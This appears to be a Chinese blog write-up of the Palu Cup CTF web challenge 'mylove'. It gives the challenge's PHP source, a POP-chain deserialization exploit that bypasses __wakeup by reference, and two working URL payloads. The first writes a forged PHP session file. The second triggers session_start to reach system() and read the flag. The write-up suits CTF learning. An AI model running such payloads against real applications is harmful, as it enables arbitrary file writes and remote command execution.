首页 > 其他分享 >帕鲁杯web mylove复现

帕鲁杯web mylove复现

时间:2024-04-28 23:12:56浏览次数:18  
标签:function web GET __ mylove session 帕鲁杯 tmp public

题目给了源码和phpinfo()

<?php

class a{
    public function __get($a){
        $this->b->love();
    }
}

class b{
    public function __destruct(){
        $tmp = $this->c->name;
    }
    public function __wakeup(){
        $this->c = "no!";
        $this->b = $this->a;
    }
}

class xk{
    public function love(){
        $a = $this->mylove;
    }
    public function __get($a){
        if(preg_match("/\.|\.php/",$this->man)){
            die("文件名不能有.");
        }
        file_put_contents($this->man,base64_decode($this->woman));
    }
}
class end{
    public function love(){
        ($this->func)();
    }
}

if(isset($_GET['pop']))
{
    unserialize($_GET['pop']);
    if(preg_match("/N$/",$_GET['test'])){
        $tmp = $_GET['test'];
    }
    
}
else{
    show_source(__FILE__);
    phpinfo();
}
if($$tmp['name']=='your are good!'){
    echo 'ok!';
    system($_GET['shell']);

  

题目思路:

file_put_contents($this->man,base64_decode($this->woman));

class end{ public function love(){ ($this->func)(); } }

一个写文件,一个session_start()

配合

 

分两步走

1、通过自己写session文件

2、然后读取,从而执行命令

 

第一步:

写session文件

链子:b--->a--->xk

poc

<?php

class a{
    public function __get($a){
        $this->b->love();
    }
}

class b{
    public function __destruct(){
        $tmp = $this->c->name;
    }
    public function __wakeup(){
        $this->c = "no!";
        $this->b = $this->a;
    }
}

class xk{
    public function love(){
        $a = $this->mylove;
    }
    public function __get($a){
        if(preg_match("/\.|\.php/",$this->man)){
            die("文件名不能有.");
        }
        file_put_contents($this->man,base64_decode($this->woman));
    }
}
class end{
    public function love(){
        ($this->func)();
    }
}

if(isset($_GET['pop']))
{
    unserialize($_GET['pop']);
    if(preg_match("/N$/",$_GET['test'])){
        $tmp = $_GET['test'];
    }

}
else{
    show_source(__FILE__);
    phpinfo();
}
if($$tmp['name']=='your are good!'){
    echo 'ok!';
    system($_GET['shell']);
}

$ctf = new b();
$ctf ->a = new a();
$ctf ->a -> b = new xk();
$ctf ->c = &$ctf->b;
//上面是通过引用变量绕过wakeup中的this->$c="no",因为wakeup要让c是一个对象,才能利用这句$tmp = $this->c->name;跳转
//下面是session文件的路径以及写入的内容
$ctf-> a -> b -> man = "/var/lib/php/session/sess_1";    //phpinfo获取
$ctf-> a -> b -> woman ="bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7";//  name|s:14:"your are good!";
                                                            //phpinfo获取处理器为php
echo serialize($ctf);

payload

?pop=O:1:"b":3:{s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":2:{s:3:"man";s:27:"/var/lib/php/session/sess_1";s:5:"woman";s:36:"bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7";}}s:1:"b";N;s:1:"c";R:6;}

  

第二步:

通过读取session文件

绕过if($$tmp['name']=='your are good!')

然后就有system了

poc

<?php

class a{
    public function __get($a){
        $this->b->love();
    }
}

class b{
    public function __destruct(){
        $tmp = $this->c->name;
    }
    public function __wakeup(){
        $this->c = "no!";
        $this->b = $this->a;
    }
}

class xk{
    public function love(){
        $a = $this->mylove;
    }
    public function __get($a){
        if(preg_match("/\.|\.php/",$this->man)){
            die("文件名不能有.");
        }
        file_put_contents($this->man,base64_decode($this->woman));
    }
}
class end{
    public function love(){
        ($this->func)();
    }
}

if(isset($_GET['pop']))
{
    unserialize($_GET['pop']);
    if(preg_match("/N$/",$_GET['test'])){
        $tmp = $_GET['test'];
    }

}
else{
    show_source(__FILE__);
    phpinfo();
}
if($$tmp['name']=='your are good!'){
    echo 'ok!';
    system($_GET['shell']);
}


$ctfer = new b();
$ctfer ->a = new a();
$ctfer ->a -> b = new end();
$ctfer ->c = &$ctfer->b;
$ctfer ->a -> b-> func ='session_start';
echo serialize($ctfer);

  

payload

url

?pop=O:1:"b":3:{s:1:"a";O:1:"a":1:{s:1:"b";O:3:"end":1:{s:4:"func";s:13:"session_start";}}s:1:"b";N;s:1:"c";R:5;}&test=_SESSION&shell=cat+f*
test=_SESSION   --->  $_SESSION  读取序列化文件数据,也就是刚才第一步写入的  your are good!

cookie

PHPSESSID=1

  

因为前面第一步的时候

$ctf-> a -> b -> man = "/var/lib/php/session/sess_1";

这一句我们定义的session文件名是1

 

标签:function,web,GET,__,mylove,session,帕鲁杯,tmp,public
From: https://www.cnblogs.com/xjrycd/p/18164716

相关文章

  • 应急响应-webshell查杀
    简介靶机账号密码rootxjwebshell1.黑客webshell里面的flagflag{xxxxx-xxxx-xxxx-xxxx-xxxx}2.黑客使用的什么工具的shellgithub地址的md5flag{md5}3.黑客隐藏shell的完整路径的md5flag{md5}注:/xxx/xxx/xxx/xxx/xxx.xxx4.黑客免杀马完整路径md5flag步骤#1.1......
  • web开发中特殊字符的对应值与转义字符
    原文链接:https://www.cnblogs.com/greatverve/archive/2011/07/18/web-char.htmlURL中的特殊字符URL中的特殊字符是不能再URL中直接传递的,需要进行编码。编码的格式为:%加字符的ASCII码,即一个百分号%,后面跟对应字符的ASCII(16进制)码值。 例:要传递字符串“this%is#te=st&ok?+/......
  • .net core,.net 6使用SoapCore开发webservice接口,以及使用HttpClientFactory动态访问we
    1.使用soapCorenuget包 2.新建接口及实现2.1新建接口 2.2新建实现 2.3新建接收实体 2.4返回实体 3.接口注入使用  4.启动程序,直接访问对应的asmx地址  ......
  • Openwrt GitWeb Configuring(OpenwrtGitweb配置)
    首先安装好git环境,可以在网上参考Linux搭建git服务,我就不叙述了。安装gitwebopkgupdateopkginstallgit-gitweb安装完毕后访问 http://youhost/cgi-bin/gitweb.cgi 正常访问如下图编辑/www/cgi-bin/gitweb.cgi文件找到 $projectroot修改路径为你的gitroot目录,我......
  • new webpack 的 DefinePlugin 与 ProvidePlugin
    一、DefinePluginDefinePlugin允许创建一个在编译时可以配置的全局常量。这可能会对开发模式和生产模式的构建允许不同的行为非常有用。如果在开发构建中,而不在发布构建中执行日志记录,则可以使用全局常量来决定是否记录日志。这就是DefinePlugin的用处,设置它,就可以忘记开发环境......
  • web server apache tomcat11-24-Virtual Hosting and Tomcat
    前言整理这个官方翻译的系列,原因是网上大部分的tomcat版本比较旧,此版本为v11最新的版本。开源项目从零手写实现tomcatminicat别称【嗅虎】心有猛虎,轻嗅蔷薇。系列文章webserverapachetomcat11-01-官方文档入门介绍webserverapachetomcat11-02-setup启动web......
  • XYCTF2024-web-wp
    怎么全是傻逼绕过题。不想评价,就随便打着玩,除了最后一道java反序列化搞心态,其他的ak了:简单题不想说,http注意一下代理是用Via就行,warmup直接:http://xyctf.top:37034/?val1=240610708&val2=QNKCDZO&md5=0e215962017&XYCTF=240610708&XY=240610708LLeeevvveeelll222.phpget......
  • 京东web端h5st—4.7逆向分析
    声明本文章中所有内容仅供学习交流,抓包内容、敏感网址、数据接口均已做脱敏处理,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关,若有侵权,请联系我立即删除!目标网站aHR0cHM6Ly93d3cuamQuY29tLw==分析流程了解h5st看了sha256相关加密算法逻辑body加密大......
  • web server apache tomcat11-22-logging 日志
    前言整理这个官方翻译的系列,原因是网上大部分的tomcat版本比较旧,此版本为v11最新的版本。开源项目从零手写实现tomcatminicat别称【嗅虎】心有猛虎,轻嗅蔷薇。系列文章webserverapachetomcat11-01-官方文档入门介绍webserverapachetomcat11-02-setup启动web......
  • Java_web的复习之maven
    Apachemaven是一个项目管理和构建工具,它基于项目对象管理模型的概念,通过一小段描述信息来管理项目的构建2.作用:方便的依赖管理统一的项目结构标准的项目构建流程3.通过maven中的各种各样的插件,我们就可以完成对应的功能例如通过编译插件就可以对项目进行编译,通过测试插件......